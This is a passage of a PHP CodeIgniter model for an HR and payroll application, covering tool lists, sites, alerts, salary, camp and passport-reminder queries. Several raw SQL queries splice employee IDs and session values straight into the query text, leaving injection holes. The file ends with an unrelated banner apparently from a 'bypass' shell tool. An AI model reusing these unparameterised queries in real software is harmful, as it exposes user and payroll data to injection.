             if(isset ($postdata['tool_alert'.$i]))
                $tool_alert=1;
             else
                $tool_alert=0;
           $tblValues=array(
                    'tool_name'=>$postdata['tool_name'.$i],
                    'tool_shelf_life'=>$postdata['tool_shelf_life'.$i],
                    'tool_shelf_life'=>$postdata['tool_shelf_life'.$i],
                    'tool_remind_before'=>$postdata['tool_remind_before'.$i],
                    'tool_alert'=>$tool_alert);
            $this->db->where('tool_id', $postdata['tool_id'.$i]);
            $this->db->update('tool_list', $tblValues);
            $i++;
        }
        $i=1;;
        while(isset ($postdata['tool_name_'.$i]))
        {
            if($postdata['tool_name_'.$i]!="")
            {
                 if(isset ($postdata['tool_alert_'.$i]))
                    $tool_alert=1;
                    else
                        $tool_alert=0;
                $tblValues=array(
                                'trade_id'=>$postdata['trade_id'],
                                'tool_name'=>$postdata['tool_name_'.$i],
                                'tool_shelf_life'=>$postdata['tool_shelf_life_'.$i],
                                'tool_remind_before'=>$postdata['tool_remind_before_'.$i],
                                'tool_alert'=>$tool_alert);
                $this->db->insert('tool_list', $tblValues);
            }
            $i++;
        }
        $data['resfunction']='search_tool_list';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updated Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }

    function update_site($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $customer=explode('-', $postdata['customer_name']);
        $customer_id=$this->mastermodel->getSingleFieldValue('payroll_customer','customer_id','customer_code',$customer[count($customer)-1]);
        $tblValues=array(
                'customer_id'=>$customer_id,
                'site_name'=>$postdata['site_name'],
                'site_cordinator'=>$postdata['site_cordinator'],
                'site_contact_no'=>$postdata['site_contact_no']);
        $this->db->where('site_id', $postdata['site_id']);
        $this->db->update('site', $tblValues);
        
        $data['resfunction']='search_site';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
         /*Update function ends here*/

    function getreminder()
    {
        $data=array();
        $tdate=date('Y-m-d');
        $data=$this->db->query("select * from reminder join master on master_id=reminder_id where creator_id=".$_SESSION['userid']." and remind_before >= datediff(reminder_date,now()) and datediff(reminder_date,now())>=0");
        return $data;
    }

    function getalert()
    {
        $data=array();
        $tdate=date('Y-m-d');
        $this->db->from('alert_master');
        $this->db->join('alert_master_designation','alert_master_designation.alert_master_id=alert_master.alert_master_id');
        $this->db->join('role','role.designation_id=alert_master_designation.designation_id');
        $this->db->join('user','role.role_id=user.role_id');
        $this->db->where('id',$_SESSION['userid']);
        $this->db->order_by('sort','asc');
        $data=$this->db->get();
        return $data;
    }
    
    function profile_list()
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('role');
        $this->db->join('designation','role.designation_id=designation.designation_id');
        $this->db->order_by('role_id','asc');
        $Q=$this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function search_tool_list($pagenum)
    {
        $data=array();
        $this->db->select('DISTINCT(tool_list.trade_id)');
        $this->db->join('trade','trade.trade_id=tool_list.trade_id');
        $this->db->from('tool_list');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $Q=$this->db->get();
        $count= $Q->num_rows();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('trade');
        $this->db->join('tool_list','trade.trade_id=tool_list.trade_id');
        $this->db->limit($perpage, $start);
        $this->db->order_by('trade.trade_id','desc');
        $this->db->group_by('trade.trade_id');
        $data['results']=$this->db->get();
        return $data;
    }

    function convdatformat($xdate)
    {
        $mydate = explode('-',$xdate);
        if(strlen($xdate)>6)
            return $mydate[2]."-".$mydate[1]."-".$mydate[0];
        else if(strlen($xdate)>3)
            return "-".$mydate[1]."-".$mydate[0];
         else
            return "-".$mydate[0];

    }

    function number_rows($tabname,$field1='',$value1='',$field2='',$value2='',$field3='',$value3='')
    {
        $data = array();
        $this->db->from($tabname);
        if($field1 !='')
        $this->db->where($field1,$value1);
        if($field2 !='')
            $this->db->where($field2,$value2);
        if($field3 !='')
            $this->db->where($field3,$value3);
        return $this->db->count_all_results();
    }

    function get_trade_list()
    {
        $data = array();
        $Q = $this->db->query("select * from trade where trade_id not in (select trade_id from tool_list) order by trade.trade_id desc");
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_employee_current_salary($employee_id)
    {
        $sql = "SELECT salary_increment
                FROM salary tt
                INNER JOIN
                (SELECT employee_id, MAX(salary_increment_date) AS increment_date
                FROM salary
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.salary_increment_date = groupedtt.increment_date
                where tt.employee_id = '$employee_id' ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->salary_increment;
        }
        else
        {
            return "";
        }
    }

    function get_employee_current_camp($employee_id)
    {
        $sql = "SELECT camp_name
                FROM camp 
                INNER JOIN
                camp_allotment tt on tt.camp_id = camp.camp_id
                INNER JOIN
                (SELECT employee_id, MAX(camp_allotment_date) AS allotment_date
                FROM camp_allotment
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.camp_allotment_date = groupedtt.allotment_date
                where tt.employee_id = $employee_id ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->camp_name;
        }
        else
        {
            return "";
        }
    }

    function get_employee_current_site($employee_id)
    {
        $sql = "SELECT site_name
                FROM site
                INNER JOIN
                site_allotment tt on tt.site_id = site.site_id
                INNER JOIN
                (SELECT employee_id, MAX(site_allotment_date) AS allotment_date
                FROM site_allotment
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.site_allotment_date = groupedtt.allotment_date
                where tt.employee_id = $employee_id ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->site_name;
        }
        else
        {
            return "";
        }
    }

    function get_employee_current_basic($employee_id)
    {
        $sql = "SELECT salary_increment
                FROM salary tt
                INNER JOIN
                (SELECT employee_id, MAX(salary_increment_date) AS increment_date
                FROM salary
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.salary_increment_date = groupedtt.increment_date
                where tt.employee_id = $employee_id ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->salary_increment;
        }
        else
        {
            return "";
        }
    }

    function get_employee_current_salary_id($employee_id)
    {
        $sql = "SELECT salary_id
                FROM salary tt
                INNER JOIN
                (SELECT employee_id, MAX(salary_increment_date) AS increment_date
                FROM salary
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.salary_increment_date = groupedtt.increment_date
                where tt.employee_id = $employee_id ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->salary_id;
        }
        else
        {
            return "";
        }
    }

    function mark_completed($alert_id)
    {
        $tblValues=array('alert_status'=>"0", 'completed_date'=>date("Y-m-d"));
	$this->db->where('alert_id',$alert_id);
        $this->db->update('alert', $tblValues);
    }

    function mark_completed_emp($employee_id,$alert_master_id)
    {
        $tblValues=array('alert_status'=>"0", 'completed_date'=>date("Y-m-d"));
	$this->db->where('alert_master_id',$alert_master_id);
        $this->db->where('employee_id',$employee_id);
        $this->db->update('alert', $tblValues);

    }

    function get_alert_users($alert_master_id)
    {
        $data = array();
        $this->db->join('role',"role.role_id=user.role_id");
        $this->db->join('designation',"role.designation_id=designation.designation_id");
        $this->db->join('alert_master_designation',"alert_master_designation.designation_id=designation.designation_id");
        $this->db->where('alert_master_designation.alert_master_id',$alert_master_id);
        $this->db->order_by('id','asc');
        $Q= $this->db->get('user');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function insert_alert($alert_master_id,$employee_id,$alert_date='')
    {
        if($alert_date == "")
            $alert_date = date("Y-m-d");
        $tblValues=array('alert_master_id'=>$alert_master_id,'employee_id'=>$employee_id,'alert_date'=>$alert_date);
        $this->db->insert('alert', $tblValues);
        return mysql_insert_id();
    }

   
    
    function get_if_training($employee_id)
    {
        $data = array();
        $this->db->from('training_module');
        $this->db->join('employee_non_main','emp_non_trade_id=trade_id');
        $this->db->where('emp_non_id',$employee_id);
        return $this->db->count_all_results();
    }

    function get_batch($allotment_date="")
    {
        $data = array();
        if(!empty ($allotment_date))
        {
            $allotment_date= $this->mastermodel->convertdateformat($allotment_date);
            $this->db->where('batch_date <=', $allotment_date);
        }
        $this->db->order_by("id", "asc");
        $Q = $this->db->get("batch");
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function correctempno($emp_non_no)
    {
        if($emp_non_no[0]==',')
        {
            $emp_non_no=substr($emp_non_no, 1);
        }
        return str_replace(',',', ', $emp_non_no);
    }
    
    
    function insertalertpassport()
    {
        $this->db->select('*');
        $Q= $this->db->get('passport_processing');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $remind_before = $row['passport_remind_before'];
                $passport_expiry_date = $row['passport_expiry_date'];
                $employee_id = $row['employee_id'];
                $alert_date = date("Y-m-d", strtotime(date("Y-m-d", strtotime($passport_expiry_date)) . " -$remind_before day"));
                $alert_id = $this->mastermodel->insert_alert('29',$employee_id,$alert_date);
                $user_list = $this->mastermodel->get_alert_users('29');
                foreach ($user_list as $user)
                {
                     $tblValues=array(
                                    'alert_id'=>$alert_id,
                                    'user_id'=>$user['id']);
                    $this->db->insert('alert_user', $tblValues);
                }
            }
        }
    }
    
  

    function getenumvalues($table, $column)
    {
        $sql = "SHOW COLUMNS FROM $table LIKE '$column'";
        $result = mysql_query($sql);
        if ($result) { // If the query's successful

                $enum = mysql_fetch_object($result);
                $value = ltrim($enum->Type,'enum(');
                $value = rtrim($value,')');
                $value = str_replace("'","",$value);
                $values = explode(',', $value);
                $i=0;
                foreach($values as $val)
                {    
                    $data['val'][$i] = $val;
                    $i++;
                }
                return $data;
                
        } else {

                die("Unable to fetch enum values: ".mysql_error());

        }
    }

    
    function convert_number($number)
    {
        if (($number < 0) || ($number > 999999999))
        {
        throw new Exception("Number is out of range");
        }

        $Gn = floor($number / 1000000);  /* Millions (giga) */
        $number -= $Gn * 1000000;
        $kn = floor($number / 1000);     /* Thousands (kilo) */
        $number -= $kn * 1000;
        $Hn = floor($number / 100);      /* Hundreds (hecto) */
        $number -= $Hn * 100;
        $Dn = floor($number / 10);       /* Tens (deca) */
        $n = $number % 10;               /* Ones */

        $res = "";

        if ($Gn)
        {
            $res .= $this->convert_number($Gn) . " Million";
        }

        if ($kn)
        {
            $res .= (empty($res) ? "" : " ") .
                $this->convert_number($kn) . " Thousand";
        }

        if ($Hn)
        {
            $res .= (empty($res) ? "" : " ") .
                $this->convert_number($Hn) . " Hundred";
        }

        $ones = array("", "One", "Two", "Three", "Four", "Five", "Six",
            "Seven", "Eight", "Nine", "Ten", "Eleven", "Twelve", "Thirteen",
            "Fourteen", "Fifteen", "Sixteen", "Seventeen", "Eighteen",
            "Nineteen");
        $tens = array("", "", "Twenty", "Thirty", "Forty", "Fifty", "Sixty",
            "Seventy", "Eighty", "Ninety");

        if ($Dn || $n)
        {
            if (!empty($res))
            {
                $res .= " ";
            }

            if ($Dn < 2)
            {
                $res .= $ones[$Dn * 10 + $n];
            }
            else
            {
                $res .= $tens[$Dn];

                if ($n)
                {
                    $res .= " " . $ones[$n];
                }
            }
        }
            
        if (empty($res))
        {
            $res = "zero";
        }

        return $res;
    }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net